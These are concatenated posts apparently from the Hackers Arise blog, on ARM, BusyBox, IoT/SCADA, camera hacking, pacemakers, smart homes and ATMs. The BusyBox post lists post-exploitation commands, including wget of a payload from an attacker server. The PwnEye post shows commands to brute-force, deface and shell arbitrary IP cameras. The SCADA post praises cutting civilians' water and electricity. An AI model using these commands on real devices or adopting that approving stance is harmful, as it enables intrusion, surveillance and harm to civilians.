Welcome back, aspiring cyberwarriors!

The modern digital ecosystem has undergone a silent but total transformation. Every day, we interact with ARM-based processors billions of times. These chips drive almost all iOS and Android devices and are key to the significant performance improvements seen in Apple’s M-series Macs. Some lightweight notebooks, such as Chromebooks, use ARM processors. IoT devices are largely powered by ARM. Besides that, recently ARM expanded into silicon production with the Arm AGI CPU, its first production-ready silicon designed for agentic AI workloads in data centers. With this level of ubiquity in our digital world, it’s important to be familiar with ARM.

Therefore, this article serves as a foundation for learning about ARM. It delves into the architecture of ARM CPUs, covering design principles and energy efficiency. Let’s get rolling!

What is ARM?

ARM is a family of CPU designs based on a simple, efficient instruction set (RISC). It started as ‘Acorn RISC Machine’, then ‘Advanced RISC Machines’, and now it’s just called ARM.

Unlike traditional chipmakers, Arm Holdings does not manufacture physical processors. Instead, the company designs the foundational CPU architecture and licenses its intellectual property and processor cores to other hardware manufacturers (such as Apple and Nvidia).

What is an ARM-Based CPU?

ARM CPUs use a simple, efficient RISC instruction set. RISC stands for Reduced Instruction Set Computer. It represents a hardware design philosophy focused on streamlining how a processor interprets and executes software instructions.

This design philosophy stands in direct contrast to CISC (Complex Instruction Set Computer), which is the architecture utilized by traditional Intel and AMD x86 processors.

The RISC concept originated in the early 1980s, heavily influenced by research at the University of California, Berkeley. Researchers evaluating resource usage discovered that most software programs only utilized a small fraction of a processor’s complex, built-in instruction set. They realized that if they removed the highly complex, rarely used, and difficult-to-implement instructions, the remaining simpler instructions could execute much faster, while requiring significantly less physical space and power on the silicon chip. This discovery led directly to the development of early RISC designs, including the foundational Acorn RISC Machine (ARM) project in 1983.

Core Principles of RISC Design

RISC architectures use a fixed instruction width for high-speed execution. Unlike CISC architectures that have instructions of varying lengths, a modern 64-bit RISC architecture like ARM64 uses a uniform instruction size, typically 32 bits. This consistency makes it easier for the processor to identify where one instruction ends and the next starts, which helps in quickly fetching, decoding, and executing instructions.

A key feature of RISC design is its Load-Store architecture. In traditional CISC, a single instruction might perform operations directly on data in memory. In RISC, memory access and calculations are separate. In a RISC CPU, Arithmetic Logic Unit (ALU) operations only happen between registers, which are small, fast storage spaces on the processor. To work with data from memory, the processor has to first load it from RAM into a register, perform the calculation in the register, and then store the result back to memory.

To meet the needs of this Load-Store model, RISC processors have a large, uniform register file. Since data cannot be processed directly in memory, the CPU needs many registers to keep temporary data readily available. A 64-bit RISC processor usually has 31 general-purpose 64-bit registers that act as a quick local workspace.

The clear and register-focused design leads to mostly single-cycle execution and effective hardware pipelining. Because RISC instructions are straightforward and mainly work with registers, most can finish in one clock cycle. This single-cycle capability enables the processor to use an instruction pipeline. In this system, while one instruction is executed, another is decoded, and a third is fetched from memory simultaneously. This overlap helps the processor complete a new instruction nearly every clock tick, maximizing efficiency.

Energy Efficiency

Firstly, at the core of the RISC philosophy is the use of a smaller vocabulary of simpler, fixed-length instructions. Because the CPU does not have to parse highly complex, variable-length instructions, the physical hardware required to decode and execute instructions is dramatically simplified. This simplicity results in a vastly reduced transistor count. For example, early ARM cores required only 30,000 to 35,000 transistors. Fewer transistors mean that fewer components are active during each instruction cycle, which directly lowers dynamic power consumption and dynamic leakage.

Secondly, RISC processors are designed to scale their power draw dynamically based on the active workload. Through techniques like Dynamic Voltage and Frequency Scaling (DVFS), the processor automatically lowers its operating voltage and clock speed during periods of low computational demand, conserving energy when peak performance is unnecessary. For example, microcontroller-class processors like the ARM Cortex-M series are engineered to draw almost zero power when in deep sleep states, yet they can wake up and execute tasks rapidly on demand.

Thirdly, on a system-on-chip level, modern RISC implementations leverage heterogeneous processing, such as Arm big.LITTLE and DynamIQ technologies. Instead of running all tasks on identical, power-hungry cores, the processor combines:

LITTLE cores: Tiny, ultra-efficient cores optimized to handle routine, low-intensity background tasks (like texting, email, or playing music) using minimal power.

big cores: High-performance cores designed to tackle heavy, sustained workloads (like mobile gaming or intense web browsing).

This dynamic, on-demand task allocation ensures that the high-power “big” cores are only activated when strictly necessary, maximizing overall battery life.

Apple M-series Chips

The Apple M-series chips are a group of processors made by Apple Inc. They are designed for efficient performance and are based on ARM architecture. Each chip includes a CPU, GPU, a Neural Engine for machine learning, and a unified memory system that helps improve overall efficiency.

Apple announced its move to its own M-series chips at the Worldwide Developers Conference (WWDC) on June 22, 2020. This change was from Intel’s x86 processors to ARM-based designs for better power efficiency and performance.

For example, the M1 chip offers up to 3.5 times faster CPU performance while consuming less power than Intel chips for certain tasks. This allows for high performance without generating too much heat.

The M-series chips also improve battery life. Devices often run up to 1.5 times longer than Intel-based Macs. This is due to their optimized power management. In real-world use, like watching videos or doing light work, the MacBook Air can last 15 to 18 hours, compared to the 11 to 12 hours typical of similar Intel models.

By 2026, devices like the Mac Studio and Mac Mini are using M-series CPUs to run advanced AI models directly on users’ desks. Many people are shifting away from paying for AI services and choosing local systems instead.

Summary

In this article, we discussed ARM, a CPU architecture based on RISC principles, which emphasizes simplicity and efficiency. We explained how ARM differs from x86/CISC (Intel/AMD), noting that its smaller instruction set uses fewer transistors and less power. Additionally, we looked at how ARM has impacted Apple’s M-series chips, showing gains in performance, heat management, and battery life, along with the shift toward handling AI tasks on ARM hardware.

The post ARM CPU Architecture: The Power of Simplicity and Efficiency first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

To be able to hack the Internet of Things(IoT), smart home, smart TV, IP camera, VPN, routers and other such devices, the more you understand of Linux, the more success you will have. Nearly all of these devices use embedded Linux with tiny small kernels. The most popular of these embedded, tiny kernel Linuxes is BusyBox.

BusyBox sees itself as the Swiss Army Knife of Embedded Linux. It is a software component that combines tiny versions of many Unix utilities into a single binary.

In this article, we’ll explore what BusyBox is, its benefits and drawbacks, and how to get started using it on Kali Linux. Let’s get rolling!

What is BusyBox?

BusyBox is a lightweight software suite that combines many common Unix utilities into a single small executable file. Rather than having separate executables for each command like ls, cp, mv and tar, BusyBox packages all these utilities into one binary. When executed, BusyBox determines which tool to run based on how it was invoked, either through symbolic links or command-line arguments.

Typically weighing in at under 1MB, BusyBox can provide implementations of over 300 Unix utilities, including file operations, text processing tools, network utilities, system administration commands, and shell functionality. While these implementations are simplified compared to their full-featured GNU counterparts, they maintain compatibility with standard Unix command syntax for most common operations.

History and Development

BusyBox was created in 1996 by Bruce Perens as part of the Debian GNU/Linux installer. The original motivation was to create a rescue disk that could fit on a single floppy disk while still providing essential Unix tools.

The project gained significant momentum when it was adopted by embedded Linux developers who faced similar space constraints in their target devices. As embedded systems proliferated in the late 1990s and early 2000s, BusyBox became increasingly important for devices with limited flash memory and RAM.

Over the years, BusyBox has been maintained by various developers, with Erik Andersen taking over development in the early 2000s and later Denys Vlasenko becoming the primary maintainer. The project has remained active and continues to evolve, with regular updates that add new utilities, improve compatibility, and enhance performance.

The development philosophy has remained consistent throughout its history: provide maximum functionality with minimum resource usage while maintaining reasonable compatibility with standard Unix tools.

Benefits and Advantages

BusyBox offers several compelling advantages that have made it a cornerstone of embedded Linux systems:

Space Efficiency: The most obvious benefit is BusyBox’s incredibly small footprint. By sharing code between utilities and eliminating redundant functionality, it achieves dramatic space savings compared to installing individual tools separately. A typical BusyBox installation might occupy less than 1MB while providing functionality equivalent to tens of megabytes of traditional utilities.

Memory Optimization: Beyond storage savings, BusyBox also conserves RAM by sharing common code paths between utilities. This is particularly valuable in embedded systems where memory is often severely constrained.

Simplified Deployment: Having all essential utilities in a single binary simplifies system deployment and reduces the complexity of dependency management. This is especially valuable in embedded systems where minimizing the number of moving parts is crucial for reliability.

Consistent Behavior: While individual GNU utilities may have different compilation options or versions across systems, BusyBox provides consistent behavior across deployments, which can reduce compatibility issues.

Customizability: BusyBox can be configured to include only the specific utilities needed for a particular application, allowing for even greater space optimization. This modular approach lets developers create highly specialized systems.

Performance: For many common operations, BusyBox utilities can actually outperform their full-featured counterparts due to their streamlined implementations and reduced overhead.

Why Hackers Should Care?

Portability: BusyBox works on almost any Linux or Unix-like system.

Minimal Footprint: Perfect for custom hacking distros, bootable USBs, or CTFs.

Essential for Embedded Targets: Many IoT devices and routers run BusyBox by default—knowing it helps you exploit or secure them

Stealth: BusyBox can be statically compiled and dropped onto a target for post-exploitation, giving you a full set of tools even on stripped-down systems.

Where BusyBox is Used

Essential BusyBox Commands for Hackers

Here’s a quick reference to some of the most useful BusyBox applets for hacking and pentesting

Getting Started with BusyBox on Kali Linux

First, verify that BusyBox is installed on your Kali system:

kali> busybox –help

BusyBox can be invoked in several ways. The most straightforward method is to call it directly with the desired utility as an argument:

kali> busybox ps aux

To see all utilities available in your BusyBox installation:

kali> busybox –list

In hacking/penetration testing scenarios, BusyBox utilities can be particularly useful:

• Network reconnaissance: Use busybox nslookup or busybox ping for basic network discovery

• File operations: busybox find, busybox grep, and busybox awk for log analysis and file searching
• System analysis: busybox ps, busybox netstat, and busybox top for system monitoring

• Text processing: busybox sed and busybox cut for parsing command output

Security Considerations and Notable Attacks

While BusyBox itself is generally well-maintained and secure, its widespread deployment in embedded systems has made it a target for various security concerns:

Firmware Vulnerabilities: Many security incidents involving BusyBox have actually been related to vulnerabilities in the surrounding firmware or system configuration rather than BusyBox itself. However, because BusyBox is so commonly used in embedded devices, it often becomes part of the attack surface.

IoT Botnets: Several large-scale IoT botnets, including variants of Mirai, have targeted devices running BusyBox. These attacks typically exploit weak default credentials or unpatched vulnerabilities in the broader system rather than BusyBox-specific flaws.

Supply Chain Concerns: Because BusyBox is embedded in so many devices, vulnerabilities in BusyBox can have far-reaching consequences.

Configuration Issues: Many security problems arise from mis-configurations or the inclusion of unnecessary utilities that expand the attack surface. The modular nature of BusyBox, while beneficial for customization, requires careful consideration of which utilities to include.

The embedded nature of many BusyBox deployments can make security updates challenging, as end users often cannot easily update the firmware on their devices. This has led to situations where known vulnerabilities persist in deployed devices long after fixes are available.

Real-World Example

Suppose you’ve gained shell access on a router that runs BusyBox. Here’s how you might use it to enumerate the system and pivot further, you could;

bash# List users
busybox cat /etc/passwd

# Check network interfaces
busybox ifconfig

# Scan for open ports (if netcat is available)
busybox nc -zv 127.0.0.1 1-1024

# Download a script or tool
busybox wget http://yourserver/payload.sh

# Get a shell
busybox sh

Summary

As computing continues to diversify into edge devices, IoT systems, and resource-constrained environments, BusyBox remains as relevant as ever. Its combination of small size, comprehensive functionality, and proven reliability ensures its continued importance in the embedded Linux ecosystem.

If you’re curious about how tools like BusyBox power the tech world and want to learn Linux yourself, now’s a great time to begin. Take a look at our Linux Basics for Hackers Bundle — it’s a practical, beginner-friendly way to learn Linux.

The post IoT Embedded Linux: BusyBox, the Most Widely Used Linux in IoT first appeared on Hackers Arise.

Welcome back, cyberwarriors!

We continue our series on SCADA system compromise with another breach that recently happened. A while back, another Russian organization was compromised by Cyber Cossacks, a hacker unit in Ukraine.

The team was trained by OccupyTheWeb to defend Ukraine digitally, and every so often they check back in and share what they’ve managed to pull off.

Introduction

The compromised company was established in the early 2000s and mainly worked on designing and implementing integrated solutions for automation and monitoring. For years they directly supported the Russian state by doing business in Crimea.

The same company produced hardware and software for these IoT devices. They were making smart meters, data loggers, PLCs, industrial routers and protocol converters. These products were installed across a wide range of sectors in Russia.

Initial Access and Infection

The company was compromised through a phishing attack, with the payload embedded in an email attachment. Security products can fail to keep up with newer custom RATs that get constantly updated to dodge standard detection methods.

IoT System Monitoring and Interference

Over the course of several days, the group analyzed the target environment’s internal network. They maintained access for approximately six months, monitoring activity and altering certain datasets. They didn’t simply wipe the systems, which would have caused only a temporary impact, the group made changes over an extended period to gradually corrupt the collected data.

This would make the backups poisoned as well. That insured that any system restoration would basically rely on compromised figures.

The group also found images from different locations, which helped them understand the configuration and physical deployment of the hardware.

Here is an example of their systems. The thick cable carries all the data back and forth, while the smaller wires tap into each meter’s output and send it into the controller. Behind the scenes it analyzes those signals and makes sure everything stays within safe limits.

They also shared several types of control cabinets. More sophisticated control panels had compact PLCs with a series of I/O modules snapped onto DIN rails. This setup basically functions as a small industrial control center. The PLC receives data from sensors, makes logical decisions and then triggers specific outputs. All managed in this cabinet.

Impact on Private Consumers

Beyond interfering with commercial systems, the group extended their efforts to installations intended for private consumers. These were smart meters responsible for monitoring water and electricity usage. 

In response to ongoing Russian attacks on Ukrainian energy infrastructure, the group selectively disabled electricity to certain users.

They also interfered with water meters and cut off access to water where it was possible.

These installations were all centrally connected to the main server through antenna links mounted on rooftops and that’s how the hackers could receive telemetry from them.

Impact

Above you can see a part of the redacted list of affected companies in different regions of Russia, mainly in Moscow. Each item in the list represented a node within the system. Changes were made to various parameters. As mentioned earlier, the most strategic part of the attack was poisoning the backups. When the IT department tried to recover from these backups, the restoration brought back corrupted values.

By late June 2025, the company data and the primary systems responsible for processing and managing the connected nodes were destroyed. In total, that affected approximately 3,500 meter installations across Russia.

Conclusion

A good understanding of IoT and industrial control systems with good strategic planning can produce a widespread impact. Instead of just destroying systems, the group sabotaged the entire mechanism of restoration and continuity.

If you want to know how to hack and secure SCADA and IoT systems, we invite you to our training led by OccupyTheWeb.

The post SCADA Hacking and Security – Compromising IoT Systems first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors. 

Some cameras protect a building, others betray it. Camera hacking isn’t hard, and that’s the problem. These devices are often the most vulnerable in any environment. Once installed, they aren’t maintained until there’s a problem. Many “problems” can go unnoticed if you know how vulnerable cameras are. Hackers can use them for persistence or as an entry point into an organization.

We do have different articles on this topic, but this time there’s something else we want to show. It’s PwnEye. 

PwnEye

PwnEye is a newer tool that didn’t get enough attention yet. It works with both ONVIF and RTSP and that’s pretty much all you need. Once it has compromised a camera, it can reboot it, factory reset and open an interactive shell via ONVIF.

You also black out the operator’s view. Just like in movies. 

Setting Up

Let’s set up the tool. You’ll need ffmpeg first.

kali > sudo apt install ffmpeg

Then install pipx and grab the tool.

kali > sudo apt install pipx 
kali > pipx install git+https://github.com/Hackerest/pwneye.git

Once it’s ready, you can test it:

kali > pwneye -h 

The help menu’s large. The tool can be used to find cameras in a local network with –discover, but it can be pointed at any camera IP. That’s where we’ll start.

ONVIF Attacks 

ONVIF is the protocol that lets cameras from different manufacturers talk to each other without buying the same product. It’s basically a standard, but it’s also an attack vector.

kali > pwneye -t IP

If the camera’s running default or weak credentials, you get access. The tool extracts everything after compromise. Below you can see the network config, MAC address, DNS entries and configured users. DNS entries may sometimes point to interesting internal servers.

Look at the configured user credentials in the output. You’ll use those to get a shell.

The tool also finds snapshots that the camera captures regularly. You can view them in the browser or wait for PwnEye to open the stream. 

Some cameras support deface (black the screen), PTZ movement and factory reset through ONVIF. Not all. Depends on the model.

Finally, once it finishes, you get the stream.

Well, it’s just a bus station. Nothing fancy here.

Defacing Cameras

If the camera supports it, you can deface it.

kali > pwneye -t IP --deface [MESSAGE]

It’s not sophisticated, but it works. 

Shell

That’s probably the most interesting part. Take the credentials from the user profile output and get a shell.

kali > pwneye -t IP -ou admin -op ‘’

Once you’re in, run help and see what it has. Some cameras let you do more than others.

RTSP Attacks

ONVIF compromise is worse than RTSP compromise, but RTSP often works when ONVIF doesn’t. The tool tries both by default, but you can skip ONVIF and go straight to RTSP if you want.

kali > pwneye -t IP -so

The tool has more than 450 credentials built in. You can also try common corporate passwords like Company123 or just Company.

Once it gets credentials, you get the stream.

Summary

Some IP cameras might be accessible from the internet and locally. That means compromising them also gives you a foothold on the internal network. They aren’t upgraded regularly and IoT devices in general lack proper software updates. There are dozens of known CVEs on most camera models. Cameras can be used to proxy through them, attack other hosts or maintain persistence.

There are many other attacks on cameras, and it would be a very long article to cover them here. That’s why we created our IP Camera Hacking Training. It’s now part of our Cybersecurity Starter Bundle II. With it you get Wi-Fi Hacking, Python Basics for Hackers, Remaining Anonymous and more. 

The post Camera Hacking: Using PwnEye to Compromise IP Cameras first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

IoT hacking is one the cutting-edge fields of cybersecurity. This includes IP cameras, Bluetooth devices, Home Security systems, Smart Home devices, and well…unfortunately, medical devices. Each of these devices is vulnerable to attackers taking control of the device, using it in a botnet, or even using it as foothold within your network to pivot to more valuable systems in your home or office.

I really enjoy when mass media depicts hackers accurately. Most TV shows and movies make the hackers look like wizards with superpowers but, in reality, we are just regular people…with superpowers. Mr Robot is my favorite show because it depicts real hacks and hacking.

Often, art imitates and life, and sometimes life imitates art. There was an intriguing TV show a few years back called Homeland. It was about an American soldier captured in Iraq who is turned against his country. When he is released from captivity and sent back to the US, he is determined to exact his revenge upon the US Vice-President who had committed war crimes in Iraq that he witnessed (most people would infer that this character is the former US VP, Dick Cheney). To do so, he attempts to hack his heart pacemaker. Is this hack real?

Let’s examine it.

The Scene

In the show, Nicholas Brody, the American soldier, assassinates the U.S. Vice President by hacking his heart pacemaker. In this case, Brody learns the VP has a heart pacemaker (the real-life Cheney does have a pacemaker) with wireless management capability to make it easier for doctor to monitor and control. Brody then gets the device’s serial number via a corrupt congressman. He then remotely connects to the pacemaker using the serial number and sends a lethal command, causing the VP’s heart to fail instantly killing the Vice-President and accomplishing his mission.

How Real Is This?

This scene is not pure fiction. The Homeland scenario is dramatized, but the core risk is real. A famous hacker known as Barnaby Jack, developed a hack that he said could kill someone from 50ft away. Suspiciously, he died suddenly before he could give the details at a cybersecurity conference.

Here are the steps necessary to execute (no pun intended) this attack.

Step 1. Wireless Medical Devices Are Vulnerable

• Many pacemakers and implantable cardioverter-defibrillators (ICDs) use wireless protocols (like Bluetooth or proprietary RF) to communicate with doctors’ equipment for monitoring and reprogramming.
• Security researchers have shown these wireless links can be intercepted or spoofed, especially if encryption/authentication is weak or missing.

Step 2. Serial Numbers and Authentication

• In Homeland, the serial number is used as a “password.” In reality, some devices have used static or easily guessable credentials, and some have been shown to accept commands with minimal authentication.
• Security researchers (like Barnaby Jack) have demonstrated attacks requiring only proximity and a bit of device info to take control of pacemakers and ICDs.

Step 3. What Can a Hacker Do?

• Pacemakers: Typically, they only deliver low-voltage pulses to regulate heartbeat. They cannot deliver a lethal shock.
• ICDs: These can deliver high-voltage shocks to correct dangerous arrhythmias. If hacked, an attacker could theoretically trigger a shock at the wrong time, potentially inducing heart attack.
• Remote attacks: If the device is internet-connected (directly or via a paired device), attacks could be launched from anywhere.

Step 4. Real-World Paranoia

• Former VP Dick Cheney had the wireless feature of his own ICD disabled out of fear of assassination by hacking.
• The FDA has recalled devices over vulnerabilities, and researchers have repeatedly shown proof-of-concept hacks on medical devices

Attack Chain: How a Real-World Pacemaker/ICD Hack Might Work

Why This Matters to You

• Medical devices are computers: Old, unpatched, and often lacking basic security controls.
• Attack surface is growing: More devices connect via Wi-Fi, Bluetooth, or even the internet for remote monitoring.
• Life-and-death consequences: Unlike most hacks, these can kill.

Summary

Although the Homeland hack is dramatized, the underlying threat is real. IoT hacking is among the most important fields of cybersecurity and is often overlooked. IoT devices, like this heart-pacemaker, are often shipped with little concern for security. If the medical device industry does not up its cybersecurity game, sadly, people will die.

As a hacker or defender, know that:

• Medical device security is often an afterthought.
• Wireless and networked implants are vulnerable to attack if not properly secured.
• Physical and cyber hygiene (disabling wireless, patching firmware, strong authentication) is critical for life-critical systems.

Look for our upcoming Medical Device Hacking training

The post The “Homeland” VP Pacemaker Hack: Is This Attack Realistic? first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

As smart homes become ever more common in our digital world, they have become a favorite target for hackers around the world. We have seen SO many smart home devices compromised and then the hackers use those devices to pivot to other devices connected to the local area network such as phones and laptops.

Smart home devices now include so many devices, such as;

1. Smart TV’s
2. Smart Lighting
3. Smart Garage Door Openers
4. Smart Security Systems
5. Smart Cameras
6. Smart Appliances (Refrigerators, stoves, washers, dryers, etc.)
7. Smart Picture Frames
8. Smart Infotainment Systems
9. …and so many more

Each of these smart devices has a small CPU, small amount of RAM, and a Linux operating system, most commonly BusyBox, due to its very small size. These systems are very often shipped with little aforethought regarding security. This makes them relatively easy to hack and, in many cases, they have embedded backdoors or easily bypassed authentication.

In addition, these devices are often connected to your Wi-Fi, Bluetooth, or Zigbee network. Each of these network types are vulnerable to multiple attack vectors making the entire home and the devices therein vulnerable.

To learn more about Smart Home Hacking, consider purchasing our Smart Home Hacking training.

Here are the most significant security risks documented in recent research and threat reports:

Common Smart Home Vulnerabilities

• Weak or Default Credentials
  • Many smart home devices ship with weak, default, or hardcoded passwords, which attackers can easily guess or find online.
  • Credential stuffing and password reuse across multiple devices leads to widespread compromise.
• Outdated and Unpatched Firmware
  • A high proportion of smart devices run old firmware with known vulnerabilities and rarely receive updates or security patches, leaving them open to exploitation.
  • Supply chain vulnerabilities can introduce malware before devices even reach the consumer (such as Badbox 2.0).
• Vulnerable Network Services and Open Ports
  • Devices expose unnecessary or insecure services to the local network or internet (e.g., Telnet, UPnP, poorly secured web interfaces), facilitating remote exploitation.
  • Automated scanning for open ports is a dominant attack method, accounting for over 93% of blocked events in recent studies.
• Poor Encryption and Data Protection
  • Many smart devices transmit sensitive data (e.g., audio, video, sensor readings) without proper encryption, enabling eavesdropping and privacy breaches.
  • Weak or flawed cryptographic implementations allow attackers to decrypt captured traffic or manipulate device functionality.
• Device Hijacking and Botnets
  • Attackers can take over smart devices, using them as proxies for further attacks (DDoS, ad fraud, credential theft) or as part of large-scale botnets (Mirai, EchoBot, PUMABOT).
  • Compromised devices may serve attacks on other systems without user awareness—sometimes even posing physical safety risks (e.g., hijacked locks or thermostats).
• Privacy and Data Exposure
  • Insecure cameras, microphones, and voice assistants can be used for covert surveillance or to steal sensitive data.
  • Exposed cloud APIs and device “phone home” features can leak data to third parties or attackers.
• Weak Access Controls
  • Poor onboarding, lack of two-factor authentication, flawed pairing mechanisms, and weak authorization checks let attackers gain access to devices or sensitive controls.

Real-World Examples (2025)

This isn’t just theoretical. In recent years, there are been a large number of attacks against smart home devices including;

• Smart TVs (BadBox attack), streaming devices, and IP cameras are currently the most exploited categories, often running on Linux/Android with outdated kernels.
• Malicious firmware (such as BadBOX) pre-installed on consumer devices has led to huge botnets and residential proxy abuse, sometimes before devices are even plugged in by the end user.
• Large-scale privacy violations include attackers publicly streaming home camera footage due to default credentials or unpatched vulnerabilities.

Summary Table

Summary

Smart homes are becoming increasingly popular in industrialized countries particularly among higher income households. These smart homes offer the user convenience while offering an enticing target for hackers. If the attacker can compromise even one device within the home, then all of the devices on the home network are at risk!

To learn more about Smart Home Hacking and Security, consider purchasing our Smart Home Hacking training.

The post Smart Home Hacking: Getting Started first appeared on Hackers Arise.

The post Software Defined Radio (SDR) for Hackers: Choosing the Best Hardware for SDR first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security. 

This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.

Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.

With that out of the way, let’s start with where ATMs came from.

The History of ATMs

London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card. 

Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.

Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.

Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.

What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.

Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.

Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.

Brief Attack Statistics

The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.

Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.

None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.

How an ATM Is Built

Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.

The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.

1. User Layer

From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.

Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines. 

A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center. 

Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.

2. OS Layer

That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.

Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.

Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.

The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.

Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.

3. Network Layer

Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.

Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well. 

The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.

4. Firmware Layer

Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone. 

The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware. 

Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.

ATM Attacks

With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.

Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.

Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.

